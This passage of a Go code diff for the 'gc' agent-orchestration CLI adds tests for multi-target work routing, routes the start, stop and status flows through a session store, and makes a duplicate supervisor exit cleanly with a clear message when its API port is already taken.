+
+// setupCmdSlingMultiDefaultTargetsFixture creates a city with two worker agents
+// in the "foundations" rig and optionally configures default_sling_targets with
+// both. The bead fo-multi-work is pre-seeded in the rig store.
+func setupCmdSlingMultiDefaultTargetsFixture(t *testing.T, targets []string) (cityDir, rigDir string) {
+	t.Helper()
+	configureIsolatedRuntimeEnv(t)
+	t.Setenv("GC_BEADS", "file")
+
+	cityDir = t.TempDir()
+	t.Setenv("GC_CITY", cityDir)
+	t.Setenv("GC_CITY_PATH", "")
+	t.Setenv("GC_CITY_ROOT", "")
+	t.Setenv("GC_RIG", "")
+	t.Setenv("GC_RIG_ROOT", "")
+	rigDir = filepath.Join(cityDir, "foundations")
+	if err := os.MkdirAll(rigDir, 0o755); err != nil {
+		t.Fatalf("MkdirAll(rig): %v", err)
+	}
+	if err := ensureScopedFileStoreLayout(cityDir); err != nil {
+		t.Fatalf("ensureScopedFileStoreLayout: %v", err)
+	}
+	for _, dir := range []string{cityDir, rigDir} {
+		if err := ensurePersistedScopeLocalFileStore(dir); err != nil {
+			t.Fatalf("ensurePersistedScopeLocalFileStore(%s): %v", dir, err)
+		}
+	}
+	writeTestFileStoreBeads(t, rigDir, []beads.Bead{{
+		ID:       "fo-multi-work",
+		Title:    "multi-target work bead",
+		Type:     "task",
+		Status:   "open",
+		Metadata: map[string]string{},
+	}})
+
+	targetsLine := ""
+	if len(targets) > 0 {
+		quoted := make([]string, len(targets))
+		for i, tgt := range targets {
+			quoted[i] = fmt.Sprintf("%q", tgt)
+		}
+		targetsLine = "default_sling_targets = [" + strings.Join(quoted, ", ") + "]\n"
+	}
+	cityToml := `[workspace]
+name = "demo"
+
+[[rigs]]
+name = "foundations"
+path = "foundations"
+prefix = "fo"
+` + targetsLine + `
+[[agent]]
+name = "worker-a"
+dir = "foundations"
+
+[[agent]]
+name = "worker-b"
+dir = "foundations"
+`
+	if err := os.WriteFile(filepath.Join(cityDir, "city.toml"), []byte(cityToml), 0o644); err != nil {
+		t.Fatalf("WriteFile(city.toml): %v", err)
+	}
+	t.Chdir(cityDir)
+	return cityDir, rigDir
+}
+
+// TestCmdSlingMultiDefaultTargetsPicksFromList verifies that when
+// default_sling_targets lists two agents, targetless gc sling routes the bead
+// to one of them (the exact pick is random, so we accept either).
+func TestCmdSlingMultiDefaultTargetsPicksFromList(t *testing.T) {
+	cityDir, rigDir := setupCmdSlingMultiDefaultTargetsFixture(t,
+		[]string{"foundations/worker-a", "foundations/worker-b"},
+	)
+
+	var stdout, stderr bytes.Buffer
+	code := cmdSling(
+		[]string{"fo-multi-work"},
+		false, false, false,
+		"", nil, "",
+		true, false, false, "",
+		false, false, false,
+		"", "",
+		&stdout, &stderr,
+	)
+	if code != 0 {
+		t.Fatalf("cmdSling returned %d, want 0; stdout=%s stderr=%s", code, stdout.String(), stderr.String())
+	}
+
+	rigStore, err := openStoreAtForCity(rigDir, cityDir)
+	if err != nil {
+		t.Fatalf("openStoreAtForCity(rig): %v", err)
+	}
+	routed, err := rigStore.Get("fo-multi-work")
+	if err != nil {
+		t.Fatalf("rigStore.Get(fo-multi-work): %v", err)
+	}
+	got := routed.Metadata["gc.routed_to"]
+	if got != "foundations/worker-a" && got != "foundations/worker-b" {
+		t.Fatalf("gc.routed_to = %q, want one of [foundations/worker-a, foundations/worker-b]", got)
+	}
+}
+
+// TestCmdSlingMultiDefaultTargetsSingleEntry verifies that a single-entry
+// default_sling_targets list behaves identically to default_sling_target.
+func TestCmdSlingMultiDefaultTargetsSingleEntry(t *testing.T) {
+	cityDir, rigDir := setupCmdSlingMultiDefaultTargetsFixture(t,
+		[]string{"foundations/worker-a"},
+	)
+
+	var stdout, stderr bytes.Buffer
+	code := cmdSling(
+		[]string{"fo-multi-work"},
+		false, false, false,
+		"", nil, "",
+		true, false, false, "",
+		false, false, false,
+		"", "",
+		&stdout, &stderr,
+	)
+	if code != 0 {
+		t.Fatalf("cmdSling returned %d, want 0; stdout=%s stderr=%s", code, stdout.String(), stderr.String())
+	}
+
+	rigStore, err := openStoreAtForCity(rigDir, cityDir)
+	if err != nil {
+		t.Fatalf("openStoreAtForCity(rig): %v", err)
+	}
+	routed, err := rigStore.Get("fo-multi-work")
+	if err != nil {
+		t.Fatalf("rigStore.Get(fo-multi-work): %v", err)
+	}
+	if routed.Metadata["gc.routed_to"] != "foundations/worker-a" {
+		t.Fatalf("gc.routed_to = %q, want foundations/worker-a", routed.Metadata["gc.routed_to"])
+	}
+}
+
+// TestCmdSlingMultiDefaultTargetsEmptyEntryRejected verifies that an empty
+// string inside default_sling_targets is rejected with a clear error.
+func TestCmdSlingMultiDefaultTargetsEmptyEntryRejected(t *testing.T) {
+	setupCmdSlingMultiDefaultTargetsFixture(t, []string{"foundations/worker-a", ""})
+
+	var stdout, stderr bytes.Buffer
+	code := cmdSling(
+		[]string{"fo-multi-work"},
+		false, false, false,
+		"", nil, "",
+		true, false, false, "",
+		false, false, false,
+		"", "",
+		&stdout, &stderr,
+	)
+	if code == 0 {
+		t.Fatalf("cmdSling returned 0, want non-zero for empty entry in default_sling_targets")
+	}
+	if !strings.Contains(stderr.String(), "empty entry") {
+		t.Errorf("stderr = %q, want to mention 'empty entry'", stderr.String())
+	}
+}
diff --git a/cmd/gc/cmd_start.go b/cmd/gc/cmd_start.go
index 65e0a09fc6..4d01b5101e 100644
--- a/cmd/gc/cmd_start.go
+++ b/cmd/gc/cmd_start.go
@@ -703,6 +703,10 @@ func doStartStandalone(args []string, controllerMode bool, stdout, stderr io.Wri
 		fmt.Fprintf(stderr, "gc start: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
 	}
+	if err := config.ValidateWebhooks(cfg.Webhooks); err != nil {
+		fmt.Fprintf(stderr, "gc start: %v\n", err) //nolint:errcheck // best-effort stderr
+		return 1
+	}
 	if err := workspacesvc.ValidateRuntimeSupport(cfg.Services); err != nil {
 		fmt.Fprintf(stderr, "gc start: %v\n", err) //nolint:errcheck // best-effort stderr
 		return 1
@@ -870,8 +874,10 @@ func doStartStandalone(args []string, controllerMode bool, stdout, stderr io.Wri
 	if store, err := openCityStoreAt(cityPath); err == nil {
 		oneShotStore = store
 
-		// Run adoption barrier before sync.
-		result, passed := runAdoptionBarrier(cityPath, sessionFrontDoor(store), sp, cfg, cityName, clock.Real{}, stderr, false)
+		// Run adoption barrier before sync. The adoption barrier is purely
+		// session-class, so route it through the session coordination-class store,
+		// the same way the reconcile cascade's session arm routes via sessStore below.
+		result, passed := runAdoptionBarrier(cityPath, cliSessionFrontDoor(store, cfg, cityPath), sp, cfg, cityName, clock.Real{}, stderr, false)
 		if result.Adopted > 0 {
 			fmt.Fprintf(stdout, "Adopted %d running session(s) into bead store.\n", result.Adopted) //nolint:errcheck
 		}
@@ -885,20 +891,39 @@ func doStartStandalone(args []string, controllerMode bool, stdout, stderr io.Wri
 	}
 	rigStores := buildStandaloneRigStores(cfg, cityPath, stderr)
 
+	// Route the reconcile cascade's SESSION arm through the session coordination-class
+	// store so a [beads.classes.sessions] relocation reaches standalone start the same
+	// way it reaches the running controller — "same code path as the daemon"
+	// (CityRuntime.buildDesiredState / controlDispatcherTick, city_runtime.go), which
+	// passes sessionsBeadStore().Store as the LEADING store of
+	// buildDesiredStateWithSessionBeads and to loadSessionBeadSnapshot /
+	// syncSessionBeadsWithSnapshotAndRigStores / reconcileSessionBeadsAtPathWithNamedDemand,
+	// with rigStores as the per-rig WORK tail. That leading store is
+	// agentBuildParams.beadStore (creates/updates session beads) and the
+	// collectAllOpenSessionBeads "city" arm; it also still carries the city-work "city"
+	// arm (collectAssignedWorkBeadsWithStores / cold-wake scale-check probes) — a dual
+	// role the daemon routes to the session store today too, tracked as a shared E2
+	// two-store split. Identity to oneShotStore at the single-store backend, so
+	// byte-identical today. releaseOrphanedPoolAssignmentsWhenSnapshotsComplete keeps
+	// the plain oneShotStore, matching the daemon's cityBeadStore() there (its lone
+	// liveOpenSessionAssignmentExists session read is a shared work-release-boundary
+	// follow-up).
+	sessStore := cliSessionStore(oneShotStore, cfg, cityPath)
+
 	// One-shot bead reconciliation: same code path as the daemon.
 	sessionQueryPartial := false
-	sessionBeads, err := loadSessionBeadSnapshot(oneShotStore)
+	sessionBeads, err := loadSessionBeadSnapshot(sessStore)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc start: loading session beads: %v\n", err) //nolint:errcheck
 		sessionBeads = nil
 		sessionQueryPartial = true
 	}
-	dsResult := buildDesiredStateWithSessionBeads(cityName, cityPath, beaconTime, cfg, sp, oneShotStore, rigStores, sessionBeads, nil, stderr)
+	dsResult := buildDesiredStateWithSessionBeads(cityName, cityPath, beaconTime, cfg, sp, sessStore, rigStores, sessionBeads, nil, stderr)
 	dsResult.SessionQueryPartial = dsResult.SessionQueryPartial || sessionQueryPartial
 	ds := dsResult.State
 	cfgNames := configuredSessionNamesWithSnapshot(cfg, cityName, sessionBeads)
 	_, sessionBeads = syncSessionBeadsWithSnapshotAndRigStores(
-		cityPath, beads.SessionStore{Store: oneShotStore}, rigStores, ds, sp, cfgNames, cfg, clock.Real{}, stderr, true, sessionBeads,
+		cityPath, beads.SessionStore{Store: sessStore}, rigStores, ds, sp, cfgNames, cfg, clock.Real{}, stderr, true, sessionBeads,
 	)
 
 	open := sessionBeads.Open()
@@ -909,21 +934,22 @@ func doStartStandalone(args []string, controllerMode bool, stdout, stderr io.Wri
 		// Standalone start has no follow-up patrol tick, so after reopening
 		// orphaned pool work we must immediately rebuild demand and sync once
 		// more so replacement session beads can be materialized in this run.
-		dsResult = buildDesiredStateWithSessionBeads(cityName, cityPath, beaconTime, cfg, sp, oneShotStore, rigStores, sessionBeads, nil, stderr)
+		dsResult = buildDesiredStateWithSessionBeads(cityName, cityPath, beaconTime, cfg, sp, sessStore, rigStores, sessionBeads, nil, stderr)
 		ds = dsResult.State
 		cfgNames = configuredSessionNamesWithSnapshot(cfg, cityName, sessionBeads)
 		_, sessionBeads = syncSessionBeadsWithSnapshotAndRigStores(
-			cityPath, beads.SessionStore{Store: oneShotStore}, rigStores, ds, sp, cfgNames, cfg, clock.Real{}, stderr, true, sessionBeads,
+			cityPath, beads.SessionStore{Store: sessStore}, rigStores, ds, sp, cfgNames, cfg, clock.Real{}, stderr, true, sessionBeads,
 		)
 		open = sessionBeads.Open()
 	}
 
 	dt := newDrainTracker()
-	poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(cfg, cityPath, open, dsResult.AssignedWorkBeads, dsResult.AssignedWorkStoreRefs)
+	openInfos := sessionBeads.OpenInfos()
+	poolWorkBeads := filterAssignedWorkBeadsForPoolDemand(cfg, cityPath, openInfos, dsResult.AssignedWorkBeads, dsResult.AssignedWorkStoreRefs)
 	poolDesired := retainScaleCheckPartialPoolDesired(
 		cfg,
 		PoolDesiredCounts(ComputePoolDesiredStates(
-			cfg, poolWorkBeads, open, dsResult.ScaleCheckCounts)),
+			cfg, poolWorkBeads, openInfos, dsResult.ScaleCheckCounts)),
 		sessionBeads,
 		dsResult.PoolScaleCheckPartialTemplates,
 	)
@@ -931,9 +957,9 @@ func doStartStandalone(args []string, controllerMode bool, stdout, stderr io.Wri
 		poolDesired = make(map[string]int)
 	}
 	mergeNamedSessionDemand(poolDesired, dsResult.NamedSessionDemand, cfg)
-	awakeAssignedWorkBeads, awakeAssignedStoreRefs := filterAssignedWorkBeadsForSessionWake(cfg, cityPath, open, dsResult.AssignedWorkBeads, dsResult.AssignedWorkStoreRefs)
+	awakeAssignedWorkBeads, awakeAssignedStoreRefs := filterAssignedWorkBeadsForSessionWake(cfg, cityPath, openInfos, dsResult.AssignedWorkBeads, dsResult.AssignedWorkStoreRefs)
 	reconcileSessionBeadsAtPathWithNamedDemand(
-		sigCtx, cityPath, open, ds, cfgNames, cfg, sp, oneShotStore,
+		sigCtx, cityPath, open, ds, cfgNames, cfg, sp, sessStore,
 		nil, awakeAssignedWorkBeads, rigStores, nil, dt, nil, nil, nil, poolDesired,
 		dsResult.NamedSessionDemand,
 		dsResult.snapshotQueryPartial(),
@@ -944,16 +970,16 @@ func doStartStandalone(args []string, controllerMode bool, stdout, stderr io.Wri
 	)
 
 	// Post-reconcile sync: update bead state to reflect post-start reality.
-	sessionBeads, err = loadSessionBeadSnapshot(oneShotStore)
+	sessionBeads, err = loadSessionBeadSnapshot(sessStore)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc start: loading session beads: %v\n", err) //nolint:errcheck
 		sessionBeads = nil
 	}
-	dsResult = buildDesiredStateWithSessionBeads(cityName, cityPath, beaconTime, cfg, sp, oneShotStore, rigStores, sessionBeads, nil, stderr)
+	dsResult = buildDesiredStateWithSessionBeads(cityName, cityPath, beaconTime, cfg, sp, sessStore, rigStores, sessionBeads, nil, stderr)
 	ds = dsResult.State
 	cfgNames = configuredSessionNamesWithSnapshot(cfg, cityName, sessionBeads)
 	syncSessionBeadsWithSnapshotAndRigStores(
-		cityPath, beads.SessionStore{Store: oneShotStore}, rigStores, ds, sp, cfgNames, cfg, clock.Real{}, stderr, false, sessionBeads,
+		cityPath, beads.SessionStore{Store: sessStore}, rigStores, ds, sp, cfgNames, cfg, clock.Real{}, stderr, false, sessionBeads,
 	)
 
 	fmt.Fprintln(stdout, "City started.") //nolint:errcheck // best-effort stdout
diff --git a/cmd/gc/cmd_status.go b/cmd/gc/cmd_status.go
index e631cc37ee..fea58c74c1 100644
--- a/cmd/gc/cmd_status.go
+++ b/cmd/gc/cmd_status.go
@@ -89,7 +89,7 @@ func cmdRigStatus(args []string, jsonOutput bool, stdout, stderr io.Writer) int
 			store = opened
 		}
 	}
-	statusSnapshot := loadStatusSessionSnapshot(store, statusSnapshotTimeout(cfg), stderr)
+	statusSnapshot := loadStatusSessionSnapshot(cityPath, cfg, cliSessionStore(store, cfg, cityPath), stderr)
 	sp := newStatusSessionProviderForCityWithSnapshot(cfg, cityPath, statusSnapshot)
 	dops := newDrainOps(sp)
 	c, reason := rigStatusAPIClient(cityPath)
diff --git a/cmd/gc/cmd_status_test.go b/cmd/gc/cmd_status_test.go
index 1dd2f6f04f..d22791b3f5 100644
--- a/cmd/gc/cmd_status_test.go
+++ b/cmd/gc/cmd_status_test.go
@@ -38,7 +38,7 @@ func runDoRigStatus(
 			store = opened
 		}
 	}
-	statusSnapshot := loadStatusSessionSnapshot(store, statusSessionSnapshotTimeout, stderr)
+	statusSnapshot := loadStatusSessionSnapshot(cityPath, nil, store, stderr)
 	return doRigStatusWithStoreAndSnapshot(sp, dops, rig, agents, cityPath, "city", "", nil, store, statusSnapshot, false, stdout, stderr)
 }
 
diff --git a/cmd/gc/cmd_stop.go b/cmd/gc/cmd_stop.go
index 32f8984de5..517faad1a8 100644
--- a/cmd/gc/cmd_stop.go
+++ b/cmd/gc/cmd_stop.go
@@ -270,7 +270,11 @@ func cmdStopBody(cityPath string, cfg *config.City, force bool, stdout, stderr i
 	cityName := loadedCityName(cfg, cityPath)
 
 	store, _ := openCityStoreAt(cityPath)
-	markCityStopSessionSleepReason(sessionFrontDoor(store), stderr)
+	// Every store consumer in this stop flow is session-class (sleep-reason marks,
+	// session-name lookups, session-runtime stop, orphan cleanup), so route the
+	// whole flow through the session coordination-class store for relocation-safety.
+	sessStore := cliSessionStore(store, cfg, cityPath)
+	markCityStopSessionSleepReason(sessionFrontDoor(sessStore), stderr)
 
 	// If a controller is running, ask it to shut down (it stops agents).
 	if tryStopControllerWithForce(cityPath, stdout, force) {
@@ -295,12 +299,12 @@ func cmdStopBody(cityPath string, cfg *config.City, force bool, stdout, stderr i
 		qn := a.QualifiedName()
 		if !a.SupportsInstanceExpansion() {
 			// Non-expanding template.
-			sn := lookupSessionNameOrLegacy(store, cityName, qn, st)
+			sn := lookupSessionNameOrLegacy(sessStore, cityName, qn, st)
 			sessionNames = append(sessionNames, sn)
 			desired[sn] = true
 		} else {
 			// Pool agent: resolve runtime session names from beads first, then legacy discovery.
-			for _, ref := range resolvePoolSessionRefs(store, cfg, a.Name, a.Dir, sp0, &a, cityName, st, sp, stderr) {
+			for _, ref := range resolvePoolSessionRefs(sessStore, cfg, a.Name, a.Dir, sp0, &a, cityName, st, sp, stderr) {
 				sessionNames = append(sessionNames, ref.sessionName)
 				desired[ref.sessionName] = true
 			}
@@ -318,11 +322,11 @@ func cmdStopBody(cityPath string, cfg *config.City, force bool, stdout, stderr i
 		graceTimeout = 0
 	}
 
-	code := doStop(sessionNames, sp, cfg, store, graceTimeout, recorder, stdout, stderr)
+	code := doStop(sessionNames, sp, cfg, sessStore, graceTimeout, recorder, stdout, stderr)
 
 	// Clean up orphan sessions (sessions with the city prefix that are
 	// not in the current config).
-	stopOrphans(sp, desired, cfg, sessionFrontDoor(store), graceTimeout, recorder, stdout, stderr)
+	stopOrphans(sp, desired, cfg, sessionFrontDoor(sessStore), graceTimeout, recorder, stdout, stderr)
 
 	teardownServerForStop(sp, stderr)
 
@@ -345,8 +349,8 @@ func teardownServerForStop(sp runtime.Provider, stderr io.Writer) {
 	}
 }
 
-func markCityStopSessionSleepReason(sessFront *session.InfoStore, stderr io.Writer) {
-	if sessFront == nil || sessFront.Store().Store == nil {
+func markCityStopSessionSleepReason(sessFront *session.Store, stderr io.Writer) {
+	if !sessFront.Backed() {
 		return
 	}
 	sessions, err := sessFront.Store().ListByLabel("gc:session", 0)
@@ -443,7 +447,7 @@ func warnInvalidConfigStopSuccess(err error, stderr io.Writer) {
 // stopOrphans stops sessions that are not in the desired set. Used by gc stop
 // to clean up orphans after stopping config agents. With per-city socket
 // isolation, all sessions on the socket belong to this city.
-func stopOrphans(sp runtime.Provider, desired map[string]bool, cfg *config.City, sessFront *session.InfoStore,
+func stopOrphans(sp runtime.Provider, desired map[string]bool, cfg *config.City, sessFront *session.Store,
 	timeout time.Duration, rec events.Recorder, stdout, stderr io.Writer,
 ) {
 	running, err := sp.ListRunning("")
diff --git a/cmd/gc/cmd_supervisor.go b/cmd/gc/cmd_supervisor.go
index 1e440adb1e..d3336cc0d8 100644
--- a/cmd/gc/cmd_supervisor.go
+++ b/cmd/gc/cmd_supervisor.go
@@ -310,6 +310,90 @@ var supervisorLoadConfig = supervisor.LoadConfig
 // the escalation.
 const supervisorHardExitCodeRepeatedShutdown = 130
 
+// supervisorExitCodePortInUse is returned when the API port is already bound
+// by another supervisor. Only one supervisor may own the port machine-wide, so
+// a collision means this process is a duplicate install. The generated systemd
+// unit lists this code in RestartPreventExitStatus so the duplicate exits once
+// with a clear diagnostic instead of crash-looping on the shared port forever.
+const supervisorExitCodePortInUse = 3
+
+// supervisorAddrInUse reports whether err indicates the listen address was
+// already bound (EADDRINUSE) — the signature of a second supervisor competing
+// for the shared API port, as opposed to any other listen failure.
+func supervisorAddrInUse(err error) bool {
+	return errors.Is(err, syscall.EADDRINUSE)
+}
+
+// supervisorPortInUseMessage returns the loud, actionable diagnostic emitted
+// when the API port is already held by another gc supervisor (confirmed by
+// supervisorRespondingGCSupervisor). It names the address and both remedies
+// so a duplicate install fails legibly instead of emitting an opaque "bind:
+// address already in use" on every restart.
+//
+// The restart-behavior line is platform-conditioned: on systemd,
+// RestartPreventExitStatus (see supervisorExitCodePortInUse) actually stops
+// the restart loop, but launchd's KeepAlive has no per-exit-code equivalent —
+// any nonzero exit is "Crashed" and gets restarted regardless — so claiming
+// "without restart" on darwin would be false.
+func supervisorPortInUseMessage(addr, configPath string) string {
+	restartBehavior := "This instance is a duplicate and is exiting without restart."
+	if supervisorRuntimeGOOS == "darwin" {
+		restartBehavior = "This instance is a duplicate. launchd will keep restarting it " +
+			"regardless of exit code (macOS has no RestartPreventExitStatus equivalent) " +
+			"until you resolve the collision below."
+	}
+	return fmt.Sprintf(
+		"gc supervisor: API address %s is already in use.\n"+
+			"Another gc supervisor already owns this port — only one supervisor may run per machine.\n"+
+			"%s To resolve, either:\n"+
+			"  - stop the other supervisor (gc supervisor stop) before starting this one, or\n"+
+			"  - give this supervisor its own port: set [supervisor] port = <N> in %s\n",
+		addr, restartBehavior, configPath)
+}
+
+// supervisorHealthProbeTimeout bounds how long we wait for a /health response
+// when confirming that an EADDRINUSE binder is actually another gc
+// supervisor. Short enough to not stall startup on a dead or foreign binder.
+// Overridable for tests.
+var supervisorHealthProbeTimeout = 2 * time.Second
+
+// supervisorRespondingGCSupervisor reports whether the process bound to addr
+// answers like a gc supervisor. Overridable for tests.
+//
+// EADDRINUSE only proves *something* is bound to addr — it does not prove
+// that something is another gc supervisor. The genuine same-GC_HOME
+// duplicate is already caught earlier by acquireSupervisorLock's exclusive
+// flock, so by the time we reach the port collision, the binder is either a
+// different user's gc supervisor (a true duplicate) or an unrelated foreign
+// process that happens to hold the shared port. Only a positive /health
+// identification justifies the exit-3 duplicate path (and, on systemd,
+// refusing to restart); anything else falls through to the current
+// self-healing exit-1 behavior so a transient or foreign binder recovers via
+// normal restart instead of a sticky outage.
+var supervisorRespondingGCSupervisor = func(addr string) bool {
+	ctx, cancel := context.WithTimeout(context.Background(), supervisorHealthProbeTimeout)
+	defer cancel()
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet, "http://"+addr+"/health", nil)
+	if err != nil {
+		return false
+	}
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return false
+	}
+	defer resp.Body.Close() //nolint:errcheck // best-effort close
+	if resp.StatusCode/100 != 2 {
+		return false
+	}
+	var body struct {
+		Status string `json:"status"`
+	}
+	if err := json.NewDecoder(io.LimitReader(resp.Body, 4096)).Decode(&body); err != nil {
+		return false
+	}
+	return body.Status == "ok"
+}
+
 // supervisorHardExit terminates the supervisor immediately. It intentionally
 // bypasses graceful cleanup and may leave managed sessions or child processes
 // alive for operator recovery. Overridable for tests.
@@ -1154,6 +1238,28 @@ func runSupervisor(stdout, stderr io.Writer) int {
 		fmt.Fprintf(stderr, "gc supervisor: ensuring home dir %s: %v\n", supervisor.DefaultHome(), err) //nolint:errcheck
 		return 1
 	}
+	// Capture prior-instance evidence before acquireSupervisorLockAndRotateLog
+	// (re)creates the lock file: its existence means a supervisor ran
+	// on this machine before, which lets the restart-cause derivation
+	// distinguish a crashed prior instance from a first start.
+	_, lockStatErr := os.Stat(supervisorLockPath())
+	priorInstanceRan := lockStatErr == nil
+
+	// Bound supervisor.log before attaching to it. A supervisor that fails
+	// the same way on every start crash-loops under its service manager
+	// (systemd Restart=always, launchd KeepAlive) and appends identical
+	// failure lines through every restart — 645MB in one two-day
+	// bind-conflict incident (#3897) — so every start size-gates the log
+	// and archives it at the cap, under the single-instance lock so racing
+	// starts cannot interleave the compress/truncate sequence. Rotation
+	// failures are surfaced but never block startup: a supervisor with an
+	// oversized log beats no supervisor.
+	lock, err := acquireSupervisorLockAndRotateLog(supervisorLogPath(), time.Now(), stderr)
+	if err != nil {
+		fmt.Fprintf(stderr, "gc supervisor: %v\n", err) //nolint:errcheck
+		return 1
+	}
+	defer lock.Close() //nolint:errcheck
 	// Always tee to ~/.gc/supervisor.log so `gc supervisor logs` works
 	// regardless of how the supervisor was invoked. We skip the tee when
 	// stdout/stderr already point at the same file (manual `gc supervisor
@@ -1174,20 +1280,6 @@ func runSupervisor(stdout, stderr io.Writer) int {
 		}
 	}
 
-	// Capture prior-instance evidence before acquireSupervisorLock
-	// (re)creates the lock file: its existence means a supervisor ran
-	// on this machine before, which lets the restart-cause derivation
-	// distinguish a crashed prior instance from a first start.
-	_, lockStatErr := os.Stat(supervisorLockPath())
-	priorInstanceRan := lockStatErr == nil
-
-	lock, err := acquireSupervisorLock()
-	if err != nil {
-		fmt.Fprintf(stderr, "gc supervisor: %v\n", err) //nolint:errcheck
-		return 1
-	}
-	defer lock.Close() //nolint:errcheck
-
 	// Holding the instance lock, consume the clean-shutdown handoff
 	// token the previous instance's STOPPING path left behind (if any)
 	// and classify how that instance exited.
@@ -1297,6 +1389,10 @@ func runSupervisor(stdout, stderr io.Writer) int {
 	addr := net.JoinHostPort(bind, strconv.Itoa(port))
 	apiLis, apiErr := net.Listen("tcp", addr)
 	if apiErr != nil {
+		if supervisorAddrInUse(apiErr) && supervisorRespondingGCSupervisor(addr) {
+			fmt.Fprint(stderr, supervisorPortInUseMessage(addr, supervisor.ConfigPath())) //nolint:errcheck
+			return supervisorExitCodePortInUse
+		}
 		fmt.Fprintf(stderr, "gc supervisor: api: listen %s failed: %v\n", addr, apiErr) //nolint:errcheck
 		return 1
 	}
@@ -2414,6 +2510,9 @@ func prepareCityForSupervisor(cityPath, cityName string, cfg *config.City, stder
 	if err := config.ValidateServices(cfg.Services); err != nil {
 		return fmt.Errorf("validate services: %w", err)
 	}
+	if err := config.ValidateWebhooks(cfg.Webhooks); err != nil {
+		return fmt.Errorf("validate webhooks: %w", err)
+	}
 	if err := workspacesvc.ValidateRuntimeSupport(cfg.Services); err != nil {
 		return fmt.Errorf("validate services: %w", err)
 	}
diff --git a/cmd/gc/cmd_supervisor_lifecycle.go b/cmd/gc/cmd_supervisor_lifecycle.go
index 3b01884e2d..899c98ebef 100644
--- a/cmd/gc/cmd_supervisor_lifecycle.go
+++ b/cmd/gc/cmd_supervisor_lifecycle.go
@@ -996,6 +996,10 @@ type supervisorServiceData struct {
 	SafeName      string
 	Path          string
 	ExtraEnv      []supervisorServiceEnvVar
+	// PortInUseExitCode is the exit code the supervisor returns on a duplicate
+	// API-port collision; the systemd unit lists it in RestartPreventExitStatus
+	// so a duplicate install does not crash-loop on the shared port.
+	PortInUseExitCode int
 }
 
 type supervisorServiceEnvVar struct {
@@ -1016,14 +1020,15 @@ func buildSupervisorServiceData() (*supervisorServiceData, error) {
 		xdgRuntimeDir = ""
 	}
 	return &supervisorServiceData{
-		GCPath:        gcPath,
-		LogPath:       supervisorLogPath(),
-		GCHome:        home,
-		XDGRuntimeDir: xdgRuntimeDir,
-		LaunchdLabel:  supervisorLaunchdLabel(),
-		SafeName:      sanitizeServiceName(filepath.Base(home)),
-		Path:          searchpath.ExpandPath(homeDir, goruntime.GOOS, os.Getenv("PATH")),
-		ExtraEnv:      supervisorServiceExtraEnv(),
+		GCPath:            gcPath,
+		LogPath:           supervisorLogPath(),
+		GCHome:            home,
+		XDGRuntimeDir:     xdgRuntimeDir,
+		LaunchdLabel:      supervisorLaunchdLabel(),
+		SafeName:          sanitizeServiceName(filepath.Base(home)),
+		Path:              searchpath.ExpandPath(homeDir, goruntime.GOOS, os.Getenv("PATH")),
+		ExtraEnv:          supervisorServiceExtraEnv(),
+		PortInUseExitCode: supervisorExitCodePortInUse,
 	}, nil
 }
 
@@ -1313,11 +1318,20 @@ func supervisorLaunchdLabel() string {
 
 func supervisorSystemdServiceName() string {
 	if suffix := supervisorServiceSuffix(); suffix != "" {
-		return "gascity-supervisor-" + suffix + ".service"
+		return supervisorSystemdUnitPrefix + suffix + ".service"
 	}
 	return defaultSupervisorSystemdUnit
 }
 
+// supervisorLaunchdTemplate has no equivalent of systemd's
+// RestartPreventExitStatus: launchd's KeepAlive dict below has no
+// per-exit-code / LastExitStatus key, so a duplicate supervisor that exits
+// with supervisorExitCodePortInUse (see cmd_supervisor.go) is still
+// "Crashed" (any nonzero exit) and gets restarted regardless of exit code.
+// The port-in-use message is worded accordingly on darwin (see
+// supervisorPortInUseMessage) instead of falsely claiming "without restart".
+// Real macOS duplicate-instance suppression is a different mechanism and is
+// tracked separately: gc-s53wv.
 const supervisorLaunchdTemplate = `<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 <plist version="1.0">
@@ -1391,6 +1405,9 @@ RestartSec=5s
 # SoftResourceLimits) so the managed dolt server the supervisor spawns is not
 # capped at a low default FD limit under connection load (incident 2026-06-15).
 LimitNOFILE=8192:16384
+# A duplicate supervisor that loses the shared API port exits with this code.
+# Restarting it would just crash-loop forever (see ga-ceq), so don't.
+RestartPreventExitStatus={{.PortInUseExitCode}}
 StandardOutput=append:{{.LogPath}}
 StandardError=append:{{.LogPath}}
 Environment=GC_HOME="{{.GCHome}}"
@@ -1765,6 +1782,7 @@ func warnSupervisorSystemdWarmRefreshPreservedUnit(stderr io.Writer, service str
 }
 
 func installSupervisorLaunchd(data *supervisorServiceData, stdout, stderr io.Writer) int {
+	sweepStaleIsolatedSupervisorServices(stderr)
 	content, err := renderSupervisorTemplate(supervisorLaunchdTemplate, data)
 	if err != nil {
 		fmt.Fprintf(stderr, "gc supervisor install: rendering plist: %v\n", err) //nolint:errcheck // best-effort stderr
@@ -1835,6 +1853,7 @@ func installSupervisorLaunchd(data *supervisorServiceData, stdout, stderr io.Wri
 }
 
 func uninstallSupervisorLaunchd(_ *supervisorServiceData, stdout, stderr io.Writer) int {
+	sweepStaleIsolatedSupervisorServices(stderr)
 	path := supervisorLaunchdPlistPath()
 	active := supervisorLaunchdActive(supervisorLaunchdLabel())
 	if sockPath, _ := runningSupervisorSocket(); sockPath != "" {
@@ -1911,8 +1930,10 @@ func stopSupervisorSystemdForWarmRefresh(service string) ([]string, error) {
 }
 
 func installSupervisorSystemd(data *supervisorServiceData, stdout, stderr io.Writer) int {
+	sweepStaleIsolatedSupervisorServices(stderr)
 	// Check the binary guard before probing systemd so a refused install
-	// emits no systemctl calls.
+	// emits no systemctl calls for the install itself (the stale-service
+	// sweep above may still have issued best-effort systemctl calls).
 	path := supervisorSystemdServicePath()
 	existing, err := os.ReadFile(path)
 	hadCurrent := err == nil
@@ -2104,6 +2125,7 @@ func currentUsernameForSystemdHint() string {
 var currentUserForSystemdHint = osuser.Current
 
 func uninstallSupervisorSystemd(_ *supervisorServiceData, stdout, stderr io.Writer) int {
+	sweepStaleIsolatedSupervisorServices(stderr)
 	path := supervisorSystemdServicePath()
 	service := supervisorSystemdServiceName()
